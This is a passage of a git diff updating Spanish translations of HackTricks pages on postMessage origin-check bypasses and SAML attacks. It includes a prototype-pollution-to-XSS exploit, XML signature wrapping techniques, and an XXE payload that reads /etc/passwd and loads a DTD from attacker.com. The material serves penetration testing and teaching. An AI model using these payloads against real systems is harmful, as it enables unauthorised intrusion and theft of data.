En la expresión regular, **un punto (.) se trata como un comodín**. Un atacante puede aprovecharlo y **usar** un **dominio especial** en lugar del oficial para evitar la validación, como en: `"https://www.safedomain.com".search("www.s.fedomain.com")`.\\
|
||||
* Si se utiliza la función **`escapeHtml`**, la función no crea un objeto escapado `new`, en su lugar **sobrescribe propiedades** del objeto existente. Esto significa que si podemos crear un objeto con una propiedad controlada que no responda a `hasOwnProperty`, no se escapará.
|
||||
* **`event.isTrusted`** es verdadero cuando el evento fue generado por una acción del usuario. No es realmente evitable si se coloca correctamente, pero vale la pena mencionarlo.
|
||||
* Si se usa **`indexOf()`** para **verificar** el **origen** del evento PostMessage, recuerde que se puede eludir fácilmente como en el siguiente ejemplo:
|
||||
```javascript
|
||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||
```
|
||||
* Si se utiliza **`search()`** para **validar** el **origen** podría ser inseguro. Según la documentación de `String.prototype.search()`, el método **toma un objeto de expresión regular** en lugar de una cadena. Si se pasa algo que no sea regexp, se convertirá implícitamente en una regex.\
|
||||
En expresión regular, **un punto (.) se trata como comodín**. Un atacante puede aprovecharlo y **usar** un **dominio especial** en lugar del oficial para eludir la validación, como en:
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
* Al igual que en el ejemplo anterior, **`match()`** también verifica una **regex**, por lo que si la regex está mal formada podría ser **bypasseable**.
|
||||
* Si se utiliza la función **`escapeHtml`**, la función no crea un objeto `new` escapado, sino que **sobrescribe propiedades** del objeto existente. Esto significa que si podemos crear un objeto con una propiedad controlada que no responde a `hasOwnProperty`, no será escapado.
|
||||
```javascript
|
||||
// Expected to fail:
|
||||
result = u({
|
||||
message: "'\"<b>\\"
|
||||
message: "'\"<b>\\"
|
||||
});
|
||||
result.message // "'"<b>\"
|
||||
// Bypassed:
|
||||
result = u(new Error("'\"<b>\\"));
|
||||
result.message; // "'"<b>\"
|
||||
```
|
||||
El objeto `File` es perfecto para este exploit ya que tiene una propiedad de solo lectura `name` que es utilizada por nuestra plantilla y pasará por alto la función `escapeHtml`.
|
||||
El objeto `File` es perfecto para este exploit ya que tiene una propiedad `name` de solo lectura que es utilizada por nuestra plantilla y evitará la función `escapeHtml`.
|
||||
|
||||
### Saltando e.origin == window.origin
|
||||
### e.origin == window.origin bypass
|
||||
|
||||
Cuando una página está incrustada en un **iframe con sandbox** a través de `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, el **origen** de ese **iframe** será **`null`**.
|
||||
Cuando una página está incrustada en un **iframe con sandbox** a través de `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, el **origin** de ese **iframe** será **`null`**.
|
||||
|
||||
Cuando se establece el valor de **sandbox `allow-popups`**, entonces la **ventana emergente abierta** heredará todos los **atributos sandbox** a menos que se establezca `allow-popups-to-escape-sandbox`.\
|
||||
Por lo tanto, abrir una **ventana emergente** desde un **origen nulo** hará que **`window.origin`** dentro de la ventana emergente también sea **`null`**.
|
||||
Cuando se establece el **valor de sandbox `allow-popups`**, entonces el **popup abierto** heredará todos los **atributos con sandbox** a menos que se establezca `allow-popups-to-escape-sandbox`.\
|
||||
Por lo tanto, abrir un **popup** desde un **origin null** hará que **`window.origin`** dentro del popup también sea **`null`**.
|
||||
|
||||
Por lo tanto, si abres un **iframe con sandbox** permitiendo ventanas emergentes, y luego **abres una ventana emergente** desde dentro del iframe, y **envías un postMessage** desde el iframe **a la ventana emergente**, ambos orígenes son nulos, por lo que: **`e.origin == window.origin == null`**
|
||||
Por lo tanto, si abres un **iframe con sandbox** permitiendo popups, y luego **abres un popup** desde dentro del iframe, y **envías un postMessage** desde el iframe **al popup**, ambos origins son null, por lo que: **`e.origin == window.origin == null`**
|
||||
|
||||
Para obtener más información, **lee**:
|
||||
Para más información **lee**:
|
||||
|
||||
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
||||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Saltando e.source
|
||||
### Bypassing e.source
|
||||
|
||||
Puedes forzar que **`e.source`** de un mensaje sea nulo creando un **iframe** que **envíe** el **postMessage** y se **elimine inmediatamente**.
|
||||
Es posible verificar si el mensaje provino de la misma ventana en la que el script está escuchando (especialmente interesante para **Content Scripts de extensiones de navegador** para verificar si el mensaje fue enviado desde la misma página):
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if( received_message.source !== window ) {
|
||||
return;
|
||||
}
|
||||
```
|
||||
Puede forzar que **`e.source`** de un mensaje sea nulo creando un **iframe** que **envía** el **postMessage** y es **eliminado inmediatamente**.
|
||||
|
||||
Para obtener más información, **lee:**
|
||||
Para más información **lea:**
|
||||
|
||||
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
||||
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Saltando la cabecera X-Frame
|
||||
### Bypass de X-Frame-Header
|
||||
|
||||
Para realizar estos ataques, idealmente podrás **poner la página web víctima** dentro de un `iframe`. Pero algunas cabeceras como `X-Frame-Header` pueden **prevenir** ese **comportamiento**.\
|
||||
En esos escenarios, aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña en la aplicación web vulnerable y comunicarte con ella:
|
||||
Para realizar estos ataques idealmente podrá **poner la página web de la víctima** dentro de un `iframe`. Pero algunos encabezados como `X-Frame-Header` pueden **prevenir** ese **comportamiento**.\
|
||||
En esos escenarios aún puede usar un ataque menos sigiloso. Puede abrir una nueva pestaña hacia la aplicación web vulnerable y comunicarse con ella:
|
||||
```markup
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
</script>
|
||||
```
|
||||
### Robando mensajes enviados a un hijo bloqueando la página principal
|
||||
### Robo de mensaje enviado al hijo bloqueando la página principal
|
||||
|
||||
En la siguiente página puedes ver cómo podrías robar datos sensibles enviados a un **iframe hijo** mediante un **postmessage** bloqueando la **página principal** antes de enviar los datos y abusando de un **XSS en el hijo** para **filtrar los datos** antes de que sean recibidos:
|
||||
En la siguiente página puedes ver cómo podrías robar **datos sensibles de postmessage** enviados a un **iframe hijo** al **bloquear** la página **principal** antes de enviar los datos y abusar de un **XSS en el hijo** para **filtrar los datos** antes de que sean recibidos:
|
||||
|
||||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Robando mensajes modificando la ubicación del iframe
|
||||
### Robo de mensaje modificando la ubicación del iframe
|
||||
|
||||
Si puedes incluir un **iframe** de una página web sin el encabezado X-Frame, que contiene otro **iframe**, puedes **cambiar la ubicación del iframe hijo**, por lo que si está recibiendo un **postmessage** enviado usando un **comodín**, un atacante podría **cambiar** el **origen** de ese iframe a una página **controlada** por él y **robar** el mensaje:
|
||||
Si puedes incluir en un iframe una página web sin el encabezado X-Frame-Header que contiene otro iframe, puedes **cambiar la ubicación de ese iframe hijo**, así que si está recibiendo un **postmessage** enviado usando un **comodín**, un atacante podría **cambiar** el **origen** de ese iframe a una página **controlada** por él y **robar** el mensaje:
|
||||
|
||||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### postMessage a la contaminación de prototipos y/o XSS
|
||||
### postMessage a Contaminación de Prototipo y/o XSS
|
||||
|
||||
En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes **incluir un iframe** en la **página** y **explotar** la **contaminación de prototipos/XSS** enviando el exploit a través de `postMessage`.
|
||||
En escenarios donde los datos enviados a través de `postMessage` son ejecutados por JS, puedes incluir en un **iframe** la **página** y **explotar** la **contaminación de prototipo/XSS** enviando el exploit a través de `postMessage`.
|
||||
|
||||
Un par de **XSS muy bien explicados a través de `postMessage`** se pueden encontrar en [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||||
|
||||
Ejemplo de un exploit para abusar de la **contaminación de prototipos y luego XSS** a través de un `postMessage` a un `iframe`:
|
||||
Ejemplo de un exploit para abusar de **Contaminación de Prototipo y luego XSS** a través de un `postMessage` a un `iframe`:
|
||||
```markup
|
||||
<html>
|
||||
<body>
|
||||
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||||
<script>
|
||||
function get_code() {
|
||||
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
|
||||
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
|
||||
}
|
||||
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||||
<script>
|
||||
function get_code() {
|
||||
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
|
||||
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
|
||||
}
|
||||
|
||||
setTimeout(get_code, 2000);
|
||||
</script>
|
||||
setTimeout(get_code, 2000);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Para **más información**:
|
||||
|
||||
* Enlace a la página sobre [**pollución de prototipos**](../deserialization/nodejs-proto-prototype-pollution/)
|
||||
* Enlace a la página sobre [**contaminación de prototipos**](../deserialization/nodejs-proto-prototype-pollution/)
|
||||
* Enlace a la página sobre [**XSS**](../xss-cross-site-scripting/)
|
||||
* Enlace a la página sobre [**pollución de prototipos del lado del cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
* Enlace a la página sobre [**contaminación de prototipos en el cliente a XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
|
||||
## Referencias
|
||||
|
||||
|
@ -198,12 +215,14 @@ Para **más información**:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,42 +4,44 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
## Información Básica
|
||||
|
||||
{% content-ref url="saml-basics.md" %}
|
||||
[saml-basics.md](saml-basics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Gráfico de ataques
|
||||
## Gráfico de Ataques
|
||||
|
||||
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
|
||||
![](<../../.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (13).png>)
|
||||
|
||||
## Herramienta
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Una herramienta que puede tomar una URL o una lista de URL y devuelve la URL de consumo de SAML.
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Una herramienta que puede tomar una URL o lista de URL y devuelve la URL de consumo de SAML.
|
||||
|
||||
## Ronda de XML
|
||||
## Viaje de ida y vuelta en XML
|
||||
|
||||
En XML, la parte firmada del XML se guarda en memoria, luego se realiza una codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero en ese escenario, **los datos que se verifican y los datos originales podrían no ser los mismos**.
|
||||
En XML, la parte firmada del XML se guarda en memoria, luego se realiza alguna codificación/decodificación y se verifica la firma. Idealmente, esa codificación/decodificación no debería cambiar los datos, pero basándose en ese escenario, **los datos que se están verificando y los datos originales podrían no ser los mismos**.
|
||||
|
||||
Por ejemplo, comprueba el siguiente código:
|
||||
Por ejemplo, revisa el siguiente código:
|
||||
```ruby
|
||||
require 'rexml/document'
|
||||
|
||||
doc = REXML::Document.new <<XML
|
||||
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
|
||||
<X>
|
||||
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
||||
<Y/><![CDATA[--><X><Z/><!--]]>-->
|
||||
</X>
|
||||
XML
|
||||
|
||||
|
@ -47,7 +49,7 @@ puts "First child in original doc: " + doc.root.elements[1].name
|
|||
doc = REXML::Document.new doc.to_s
|
||||
puts "First child after round-trip: " + doc.root.elements[1].name
|
||||
```
|
||||
Ejecutar el programa contra REXML 3.2.4 o una versión anterior resultaría en la siguiente salida en su lugar:
|
||||
Ejecutar el programa contra REXML 3.2.4 o versiones anteriores resultaría en la siguiente salida en su lugar:
|
||||
```
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
|
@ -60,219 +62,219 @@ Y así es como lo vio después de una ronda de análisis y serialización:
|
|||
|
||||
![](<../../.gitbook/assets/image (562).png>)
|
||||
|
||||
Para obtener más información sobre la vulnerabilidad y cómo abusar de ella:
|
||||
Para más información sobre la vulnerabilidad y cómo explotarla:
|
||||
|
||||
* [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
|
||||
* [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
|
||||
|
||||
## Ataques de envoltura de firma XML
|
||||
## Ataques de Envoltura de Firma XML
|
||||
|
||||
Los documentos XML que contienen firmas XML se procesan típicamente en dos pasos independientes: validación de firma e invocación de función (lógica empresarial). Si ambos módulos tienen diferentes vistas de los datos, existe una nueva clase de vulnerabilidades llamada ataques de envoltura de firma XML (XSW).\
|
||||
En estos ataques, el atacante modifica la estructura del mensaje mediante la inyección de elementos falsificados que no invalidan la firma XML. El objetivo de esta alteración es cambiar el mensaje de tal manera que la lógica de la aplicación y el módulo de verificación de firma utilicen diferentes partes del mensaje. En consecuencia, el receptor verifica la firma XML correctamente, pero la lógica de la aplicación procesa el elemento falso. El atacante, por lo tanto, evita la protección de integridad y la autenticación de origen de la firma XML y puede inyectar contenido arbitrario.
|
||||
Los documentos XML que contienen Firmas XML típicamente se **procesan en dos pasos independientes**: **validación de firma** y **invocación de función** (lógica de negocio). Si ambos módulos tienen diferentes perspectivas sobre los datos, existe una nueva clase de vulnerabilidades llamadas ataques de Envoltura de Firma XML (XSW).\
|
||||
En estos ataques, el **adversario** **modifica** la **estructura del mensaje** **inyectando** elementos **falsificados que no invalidan la Firma XML**. El objetivo de esta alteración es cambiar el mensaje de tal manera que la **lógica de la aplicación y el módulo de verificación de la firma usen diferentes partes del mensaje**. En consecuencia, el receptor verifica la Firma XML con éxito pero la lógica de la aplicación procesa el elemento falso. El **atacante así elude la protección de la integridad** y la autenticación de origen de la Firma XML y puede inyectar contenido arbitrario.
|
||||
|
||||
Desde la solicitud SAML:
|
||||
Del pedido SAML:
|
||||
|
||||
![](<../../.gitbook/assets/image (537).png>)
|
||||
|
||||
### XSW #1
|
||||
|
||||
Un atacante puede agregar un nuevo elemento raíz donde se encuentra la firma. Por lo tanto, cuando el validador verifica la integridad de la firma, puede notar que ha verificado la integridad de la ruta Response -> Assertion -> Subject, y puede confundirse con la nueva ruta maliciosa Response -> Assertion -> Subject en rojo y usar sus datos.
|
||||
Un atacante puede **añadir un nuevo elemento raíz donde se encuentra la firma**. Por lo tanto, cuando el validador verifica la integridad de la firma, puede notar que ha **verificado** la **integridad** de **Response -> Assertion -> Subject**, y podría confundirse con la **nueva ruta maliciosa Response -> Assertion -> Subject** en rojo y usar sus datos.
|
||||
|
||||
![](<../../.gitbook/assets/image (538).png>)
|
||||
|
||||
### XSW #2
|
||||
|
||||
La diferencia con #1 es que el tipo de firma utilizado es una firma separada donde XSW #1 utilizó una firma de envoltura.\
|
||||
Observe cómo la nueva estructura maliciosa es la misma que antes, tratando de confundir la lógica empresarial después de que se realizó la comprobación de integridad.
|
||||
La diferencia con el #1 es que el tipo de Firma utilizada es una **firma desligada** donde XSW #1 usó una firma envolvente.\
|
||||
Nota cómo la nueva estructura maliciosa es la misma que antes tratando de confundir la lógica de negocio después de que se realizó la verificación de integridad.
|
||||
|
||||
![](<../../.gitbook/assets/image (539).png>)
|
||||
|
||||
### XSW #3
|
||||
|
||||
En este ataque se crea una Assertion maliciosa en el mismo nivel que la Assertion original para tratar de confundir la lógica empresarial y usar los datos maliciosos.
|
||||
En este ataque se crea una **Assertion maliciosa al mismo nivel** que la original para intentar confundir la lógica de negocio y usar los datos maliciosos.
|
||||
|
||||
![](<../../.gitbook/assets/image (540).png>)
|
||||
|
||||
### XSW #4
|
||||
|
||||
XSW #4 es similar a #3, excepto que en este caso la Assertion original se convierte en un hijo de la Assertion copiada.
|
||||
XSW #4 es similar al #3, excepto que en este caso la **Assertion original se convierte en hija** de la Assertion copiada.
|
||||
|
||||
![](<../../.gitbook/assets/image (541).png>)
|
||||
|
||||
### XSW #5
|
||||
|
||||
En XSW #5, la firma y la Assertion original no están en una de las tres configuraciones estándar (envuelta/envolvente/separada). En este caso, la Assertion copiada envuelve la firma.
|
||||
En XSW #5 la Firma y la Assertion original no están en una de las tres configuraciones estándar (envuelta/envolvente/desligada). En este caso, la Assertion copiada envuelve la Firma.
|
||||
|
||||
![](<../../.gitbook/assets/image (542).png>)
|
||||
|
||||
### XSW #6
|
||||
|
||||
XSW #6 inserta su Assertion copiada en la misma ubicación que las #4 y #5. La pieza interesante aquí es que la Assertion copiada envuelve la firma, que a su vez envuelve la Assertion original.
|
||||
XSW #6 inserta su Assertion copiada en la misma ubicación que los números 4 y 5. Lo interesante aquí es que la Assertion copiada envuelve la Firma, que a su vez envuelve la Assertion original.
|
||||
|
||||
![](<../../.gitbook/assets/image (543).png>)
|
||||
|
||||
### XSW #7
|
||||
|
||||
XSW #7 inserta un elemento Extensions y agrega la Assertion copiada como hijo. Extensions es un elemento XML válido con una definición de esquema menos restrictiva. Los autores de este [documento técnico](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) desarrollaron este método en respuesta a la biblioteca OpenSAML. OpenSAML utilizó la validación de esquema para comparar correctamente el ID utilizado durante la validación de firma con el ID de la Assertion procesada. Los autores descubrieron que en los casos en que las Assertions copiadas con el mismo ID de la Assertion original eran hijos de un elemento con una definición de esquema menos restrictiva, pudieron evitar esta contramedida en particular.
|
||||
XSW #7 inserta un elemento **Extensions** y añade la **Assertion** copiada como **hija**. Extensions es un elemento XML válido con una **definición de esquema menos restrictiva**. Los autores de este [white paper](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) desarrollaron este método en respuesta a la biblioteca OpenSAML. OpenSAML utilizaba la validación de esquema para comparar correctamente el ID utilizado durante la validación de la firma con el ID de la Assertion procesada. Los autores encontraron que en casos donde las Assertions copiadas con el mismo ID de la Assertion original eran hijas de un elemento con una definición de esquema menos restrictiva, lograron eludir esta contramedida en particular.
|
||||
|
||||
![](<../../.gitbook/assets/image (544).png>)
|
||||
|
||||
### XSW #8
|
||||
|
||||
XSW #8 utiliza otro elemento XML menos restrictivo para realizar una variación del patrón de ataque utilizado en XSW #7. En esta ocasión, la Assertion original es el hijo del elemento menos restrictivo en lugar de la Assertion copiada.
|
||||
XSW #8 utiliza otro elemento XML **menos restrictivo** para realizar una variación del patrón de ataque utilizado en XSW #7. Esta vez, la Assertion original es la hija del elemento menos restrictivo en lugar de la Assertion copiada.
|
||||
|
||||
![](<../../.gitbook/assets/image (545).png>)
|
||||
|
||||
### Herramienta
|
||||
|
||||
Puede utilizar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analizar la solicitud, aplicar cualquier ataque XSW que elija y lanzarlo.
|
||||
Puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para analizar el pedido, aplicar cualquier ataque XSW que elijas y lanzarlo.
|
||||
|
||||
![](<../../.gitbook/assets/image (546).png>)
|
||||
|
||||
### Documento original
|
||||
### Paper Original
|
||||
|
||||
Para obtener más información sobre este ataque, lea el documento original en [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
|
||||
Para más información sobre este ataque lee el paper original en [https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)
|
||||
|
||||
## XXE
|
||||
|
||||
Si no sabe qué tipo de ataques son XXE, lea la siguiente página:
|
||||
Si no sabes qué tipo de ataques son XXE, por favor lee la siguiente página:
|
||||
|
||||
{% content-ref url="../xxe-xee-xml-external-entity.md" %}
|
||||
[xxe-xee-xml-external-entity.md](../xxe-xee-xml-external-entity.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Debido a que las respuestas SAML son documentos XML comprimidos y codificados en base64, podemos probar XXE manipulando el documento XML enviado como respuesta SAML. Ejemplo:
|
||||
Debido a que las Respuestas SAML son documentos XML deflactados y codificados en base64, podemos probar **XXE** manipulando el documento XML enviado como la Respuesta SAML. Ejemplo:
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
||||
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
||||
<saml:Issuer>...</saml:Issuer>
|
||||
<ds:Signature ...>
|
||||
<ds:SignedInfo>
|
||||
<ds:CanonicalizationMethod .../>
|
||||
<ds:SignatureMethod .../>
|
||||
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
<ds:SignatureValue>...</ds:SignatureValue>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
|
||||
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
|
||||
<saml:Issuer>...</saml:Issuer>
|
||||
<ds:Signature ...>
|
||||
<ds:SignedInfo>
|
||||
<ds:CanonicalizationMethod .../>
|
||||
<ds:SignatureMethod .../>
|
||||
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
|
||||
</ds:SignedInfo>
|
||||
<ds:SignatureValue>...</ds:SignatureValue>
|
||||
[...]
|
||||
```
|
||||
### Herramienta
|
||||
|
||||
También puedes utilizar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar la POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE.
|
||||
También puedes usar la extensión de Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) para generar el POC a partir de una solicitud SAML para probar posibles vulnerabilidades XXE.
|
||||
|
||||
Revisa también esta charla: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
|
||||
